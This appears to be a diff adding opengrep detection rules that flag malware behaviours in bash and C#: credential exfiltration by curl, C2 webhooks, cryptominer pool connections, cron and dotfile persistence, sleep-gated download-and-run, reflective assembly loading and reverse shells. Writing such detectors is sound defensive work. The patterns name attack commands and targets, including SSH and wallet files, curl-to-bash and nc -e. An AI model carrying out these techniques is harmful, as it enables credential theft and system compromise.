rules:
|
|
2
|
+
- id: bash-credential-exfiltration
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
An SSH/AWS credential file or a secret environment variable is sent
|
|
7
|
+
in an outbound curl request. This is the signature of a credential
|
|
8
|
+
stealer / exfiltration stager.
|
|
9
|
+
metadata:
|
|
10
|
+
category: security
|
|
11
|
+
subcategory: [malware]
|
|
12
|
+
family: credential-exfiltration
|
|
13
|
+
mitre-attack: [T1552, T1041]
|
|
14
|
+
confidence: MEDIUM
|
|
15
|
+
impact: HIGH
|
|
16
|
+
references:
|
|
17
|
+
- https://attack.mitre.org/techniques/T1552/
|
|
18
|
+
- https://attack.mitre.org/techniques/T1041/
|
|
19
|
+
remediation: >
|
|
20
|
+
Never forward environment variables, SSH keys, or AWS credentials
|
|
21
|
+
over the network. If telemetry is required, send only an explicit
|
|
22
|
+
allow-listed field set to a first-party endpoint.
|
|
23
|
+
patterns:
|
|
24
|
+
- pattern-either:
|
|
25
|
+
- patterns:
|
|
26
|
+
- pattern: curl -d "$(cat $PATH)" $URL
|
|
27
|
+
- metavariable-regex:
|
|
28
|
+
metavariable: $PATH
|
|
29
|
+
regex: (?i).*(\.ssh|\.aws|credentials|id_rsa|\.env|seed|passphrase|wallet|\.seco|keystore|mnemonic|exodus|metamask|electrum).*
|
|
30
|
+
- patterns:
|
|
31
|
+
- pattern: curl --data-binary $ARG $URL
|
|
32
|
+
- metavariable-regex:
|
|
33
|
+
metavariable: $ARG
|
|
34
|
+
regex: (?i)^@.*(\.ssh|\.aws|credentials|id_rsa|\.env|seed|passphrase|wallet|\.seco|keystore|mnemonic|exodus|metamask|electrum).*
|
|
35
|
+
- patterns:
|
|
36
|
+
- pattern: curl $URL
|
|
37
|
+
- metavariable-regex:
|
|
38
|
+
metavariable: $URL
|
|
39
|
+
regex: .*\$(AWS_SECRET_ACCESS_KEY|AWS_ACCESS_KEY_ID|GITHUB_TOKEN|API_KEY|SSH_KEY).*
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-c2-webhook-beacon
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: WARNING
|
|
5
|
+
message: >
|
|
6
|
+
Data is sent to a known exfiltration/C2 channel (Discord/Telegram
|
|
7
|
+
webhook, pastebin raw endpoint, or a hardcoded raw IP). Legitimate
|
|
8
|
+
integrations use documented, first-party APIs with proper auth, not
|
|
9
|
+
these ad hoc beacon endpoints.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: c2-endpoint
|
|
14
|
+
mitre-attack: [T1102, T1071]
|
|
15
|
+
confidence: MEDIUM
|
|
16
|
+
impact: MEDIUM
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1102/
|
|
19
|
+
- https://attack.mitre.org/techniques/T1071/
|
|
20
|
+
remediation: >
|
|
21
|
+
Remove the hardcoded webhook/beacon endpoint. If Discord/Telegram
|
|
22
|
+
integration is genuinely required, document it explicitly and keep
|
|
23
|
+
the webhook URL out of source (config/secret store), not inline.
|
|
24
|
+
patterns:
|
|
25
|
+
- pattern-either:
|
|
26
|
+
- pattern: curl $URL
|
|
27
|
+
- pattern: curl -d $DATA $URL
|
|
28
|
+
- pattern: wget -O- $URL
|
|
29
|
+
- metavariable-regex:
|
|
30
|
+
metavariable: $URL
|
|
31
|
+
regex: (?i)^"?(https?://)?(discord(app)?\.com/api/webhooks|api\.telegram\.org/bot|pastebin\.com/raw|hookb\.in|\d{1,3}(\.\d{1,3}){3})
|
|
32
|
+
# Exclude private/loopback/link-local ranges from the raw-IP branch --
|
|
33
|
+
# these are extremely common in legitimate local-dev/test code (e.g.
|
|
34
|
+
# a test app talking to itself on 127.0.1.1) and produced real false
|
|
35
|
+
# positives in this repo's own clean-corpus validation.
|
|
36
|
+
- pattern-not-regex: '"(https?://)?(127\.|10\.|192\.168\.|169\.254\.|172\.(1[6-9]|2[0-9]|3[01])\.)'
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-cryptominer-pool-connection
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
A connection targets a known cryptomining pool domain (raw socket or
|
|
7
|
+
a miner binary invocation with a `-o pool:port` argument). Strong
|
|
8
|
+
indicator of a cryptomining payload running on
|
|
9
|
+
compromised/unauthorized infrastructure.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: cryptominer-indicators
|
|
14
|
+
mitre-attack: [T1496]
|
|
15
|
+
confidence: HIGH
|
|
16
|
+
impact: HIGH
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1496/
|
|
19
|
+
remediation: >
|
|
20
|
+
Remove the connection to the mining pool. If this host was
|
|
21
|
+
compromised, treat it as an incident: rotate credentials and
|
|
22
|
+
inspect for a persistence mechanism that restarts the miner.
|
|
23
|
+
patterns:
|
|
24
|
+
- pattern-either:
|
|
25
|
+
- patterns:
|
|
26
|
+
- pattern: nc $HOST $PORT
|
|
27
|
+
- metavariable-regex:
|
|
28
|
+
metavariable: $HOST
|
|
29
|
+
regex: (?i)(pool\.minexmr\.com|xmrpool\.eu|nanopool\.org|supportxmr\.com|moneroocean\.stream|ethermine\.org|f2pool\.com|minergate\.com)
|
|
30
|
+
- patterns:
|
|
31
|
+
- pattern: xmrig -o $HOST
|
|
32
|
+
- metavariable-regex:
|
|
33
|
+
metavariable: $HOST
|
|
34
|
+
regex: (?i)(pool\.minexmr\.com|xmrpool\.eu|nanopool\.org|supportxmr\.com|moneroocean\.stream|ethermine\.org|f2pool\.com|minergate\.com)
|
|
35
|
+
- patterns:
|
|
36
|
+
- pattern: xmrig $ARG
|
|
37
|
+
- metavariable-regex:
|
|
38
|
+
metavariable: $ARG
|
|
39
|
+
regex: (?i)^--url=.*(pool\.minexmr\.com|xmrpool\.eu|nanopool\.org|supportxmr\.com|moneroocean\.stream|ethermine\.org|f2pool\.com|minergate\.com)
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-persistence-cron-write
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: WARNING
|
|
5
|
+
message: >
|
|
6
|
+
A line is appended to a cron/systemd persistence location and the
|
|
7
|
+
content looks like a download-and-run or shell command. This is a
|
|
8
|
+
common persistence mechanism: it re-executes the payload after
|
|
9
|
+
reboot or on a schedule, independent of the original dropper.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: persistence
|
|
14
|
+
mitre-attack: [T1053, T1547]
|
|
15
|
+
confidence: MEDIUM
|
|
16
|
+
impact: MEDIUM
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1053/
|
|
19
|
+
- https://attack.mitre.org/techniques/T1547/
|
|
20
|
+
remediation: >
|
|
21
|
+
Remove the persistence-location write. If a scheduled task or
|
|
22
|
+
startup service is genuinely required, ship it through the normal
|
|
23
|
+
packaging/deployment mechanism instead of writing it
|
|
24
|
+
programmatically at runtime.
|
|
25
|
+
# NOTE: this is pattern-regex, not an AST `pattern:`, because opengrep's
|
|
26
|
+
# bash grammar does not reliably constrain a redirect target (`>>`) by
|
|
27
|
+
# path at all -- see .opengrep/rule-authoring.md "known engine
|
|
28
|
+
# limitations". A plain-text regex over the whole line sidesteps that.
|
|
29
|
+
patterns:
|
|
30
|
+
- pattern-either:
|
|
31
|
+
- pattern-regex: '(?i)echo\s+.*(curl |wget |bash -c|/tmp/).*>>\s*\S*(cron\.d|crontab|/etc/systemd/system|\.config/autostart|init\.d)\S*'
|
|
32
|
+
- pattern-regex: '(?i)crontab -l;\s*echo\s+.*(curl |wget |bash -c|/tmp/).*\|\s*crontab -'
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-sandbox-evasion-sleep-gated-exec
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: WARNING
|
|
5
|
+
message: >
|
|
6
|
+
An unusually long sleep (>= 60s) gates a download-and-run or shell
|
|
7
|
+
command. Automated sandboxes typically analyze a sample for only a
|
|
8
|
+
short window; sleeping past that window before doing anything
|
|
9
|
+
malicious is a well-known sandbox/analysis-evasion technique.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: anti-analysis-evasion
|
|
14
|
+
mitre-attack: [T1497]
|
|
15
|
+
confidence: LOW
|
|
16
|
+
impact: MEDIUM
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1497/
|
|
19
|
+
remediation: >
|
|
20
|
+
Remove the delay gating execution. If a genuine deferred/scheduled
|
|
21
|
+
action is needed, use the OS's own scheduler (cron/systemd timer)
|
|
22
|
+
instead of an in-script sleep, which is indistinguishable from
|
|
23
|
+
evasion.
|
|
24
|
+
# NOTE: metavariable-comparison on $N silently breaks matching in this
|
|
25
|
+
# opengrep build's bash grammar (confirmed empirically -- see
|
|
26
|
+
# .opengrep/rule-authoring.md), so the >= 60 threshold is approximated
|
|
27
|
+
# with metavariable-regex instead: two-plus digit second counts (60-99)
|
|
28
|
+
# or any three-or-more-digit count.
|
|
29
|
+
patterns:
|
|
30
|
+
- pattern-inside: |
|
|
31
|
+
sleep $N
|
|
32
|
+
...
|
|
33
|
+
- metavariable-regex:
|
|
34
|
+
metavariable: $N
|
|
35
|
+
regex: ^([6-9][0-9]|[1-9][0-9]{2,})$
|
|
36
|
+
- pattern-either:
|
|
37
|
+
- pattern: curl $URL | bash
|
|
38
|
+
- pattern: curl $URL | sh
|
|
39
|
+
- pattern: eval $CMD
|
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: bash-filesystem-tampering-dotfile-write
|
|
3
|
+
languages: [bash]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
A write targets a sensitive dotfile (.bashrc/.profile,
|
|
7
|
+
authorized_keys, a git hook) and the content looks like a
|
|
8
|
+
download-and-run or shell command. Tampering with these files is a
|
|
9
|
+
persistence/backdoor technique: the payload re-runs on every login,
|
|
10
|
+
SSH connection, or git operation.
|
|
11
|
+
metadata:
|
|
12
|
+
category: security
|
|
13
|
+
subcategory: [malware]
|
|
14
|
+
family: filesystem-tampering
|
|
15
|
+
mitre-attack: [T1546, T1565]
|
|
16
|
+
confidence: HIGH
|
|
17
|
+
impact: HIGH
|
|
18
|
+
references:
|
|
19
|
+
- https://attack.mitre.org/techniques/T1546/
|
|
20
|
+
- https://attack.mitre.org/techniques/T1565/
|
|
21
|
+
remediation: >
|
|
22
|
+
Remove the tampering write. Never programmatically modify a user's
|
|
23
|
+
shell rc files, SSH authorized_keys, or git hooks -- these must
|
|
24
|
+
only change through explicit, auditable user/admin action.
|
|
25
|
+
# pattern-regex, not an AST `pattern:` -- see rules/bash/08-persistence.yaml
|
|
26
|
+
# and .opengrep/rule-authoring.md: bash redirect targets aren't
|
|
27
|
+
# reliably path-constrainable via AST patterns in this opengrep build.
|
|
28
|
+
pattern-regex: '(?i)echo\s+.*(curl |wget |bash -c|nc -e|/tmp/).*>>?\s*\S*(\.bashrc|\.bash_profile|\.profile|authorized_keys|\.git/hooks/)\S*'
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: csharp-obfuscated-dynamic-exec
|
|
3
|
+
languages: [csharp]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
A .NET assembly is loaded reflectively from a Base64-decoded byte
|
|
7
|
+
array at runtime. This is the classic .NET in-memory loader/dropper
|
|
8
|
+
technique: the real payload never touches disk and is invisible to
|
|
9
|
+
file-based AV scanning.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: obfuscated-dynamic-exec
|
|
14
|
+
mitre-attack: [T1027, T1059]
|
|
15
|
+
confidence: HIGH
|
|
16
|
+
impact: HIGH
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1027/
|
|
19
|
+
- https://attack.mitre.org/techniques/T1059/
|
|
20
|
+
remediation: >
|
|
21
|
+
Remove reflective loading of decoded/obfuscated assemblies. Load
|
|
22
|
+
dependencies through the normal, versioned package/reference
|
|
23
|
+
mechanism instead of decoding and loading a raw byte array.
|
|
24
|
+
patterns:
|
|
25
|
+
- pattern-either:
|
|
26
|
+
- pattern: Assembly.Load(Convert.FromBase64String(...))
|
|
27
|
+
- patterns:
|
|
28
|
+
- pattern-inside: |
|
|
29
|
+
$T $BYTES = Convert.FromBase64String(...);
|
|
30
|
+
...
|
|
31
|
+
- pattern: Assembly.Load($BYTES)
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: csharp-reverse-shell-tcpclient-process
|
|
3
|
+
languages: [csharp]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
A shell process (cmd.exe/sh/bash) is configured in the same scope as
|
|
7
|
+
a raw `TcpClient` connection. This is the canonical .NET
|
|
8
|
+
reverse-shell pattern: it hands an attacker-controlled remote
|
|
9
|
+
endpoint an interactive shell.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: reverse-shell
|
|
14
|
+
mitre-attack: [T1059]
|
|
15
|
+
confidence: HIGH
|
|
16
|
+
impact: HIGH
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1059/
|
|
19
|
+
remediation: >
|
|
20
|
+
Remove the socket-to-shell wiring entirely. If remote command
|
|
21
|
+
execution is genuinely required, route it through an authenticated,
|
|
22
|
+
audited RPC/orchestration channel instead of a raw shell.
|
|
23
|
+
patterns:
|
|
24
|
+
- pattern-inside: |
|
|
25
|
+
$T $C = new TcpClient(...);
|
|
26
|
+
...
|
|
27
|
+
- pattern-either:
|
|
28
|
+
- pattern: $P.StartInfo.FileName = "cmd.exe";
|
|
29
|
+
- pattern: $P.StartInfo.FileName = "/bin/sh";
|
|
30
|
+
- pattern: $P.StartInfo.FileName = "/bin/bash";
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
rules:
|
|
2
|
+
- id: csharp-download-and-execute
|
|
3
|
+
languages: [csharp]
|
|
4
|
+
severity: ERROR
|
|
5
|
+
message: >
|
|
6
|
+
A .NET assembly downloaded over HTTP is loaded reflectively via
|
|
7
|
+
Assembly.Load. This is a download-and-execute stager: the real
|
|
8
|
+
payload is never committed to disk or source control, it's pulled
|
|
9
|
+
at runtime.
|
|
10
|
+
metadata:
|
|
11
|
+
category: security
|
|
12
|
+
subcategory: [malware]
|
|
13
|
+
family: download-and-execute
|
|
14
|
+
mitre-attack: [T1105, T1059]
|
|
15
|
+
confidence: HIGH
|
|
16
|
+
impact: HIGH
|
|
17
|
+
references:
|
|
18
|
+
- https://attack.mitre.org/techniques/T1105/
|
|
19
|
+
- https://attack.mitre.org/techniques/T1059/
|
|
20
|
+
remediation: >
|
|
21
|
+
Never execute content fetched at runtime. Vendor the dependency,
|
|
22
|
+
pin it by hash, and load it through the normal, versioned
|
|
23
|
+
package/reference mechanism instead of downloading and executing a
|
|
24
|
+
raw payload.
|
|
25
|
+
patterns:
|
|
26
|
+
- pattern-either:
|
|
27
|
+
- pattern: Assembly.Load(await $CLIENT.GetByteArrayAsync(...))
|
|
28
|
+
- patterns:
|
|
29
|
+
- pattern-inside: |
|
|
30
|
+
$T $BYTES = await $CLIENT.GetByteArrayAsync(...);
|
|
31
|
+
...
|
|
32
|
+
- pattern: Assembly.Load($BYTES)
|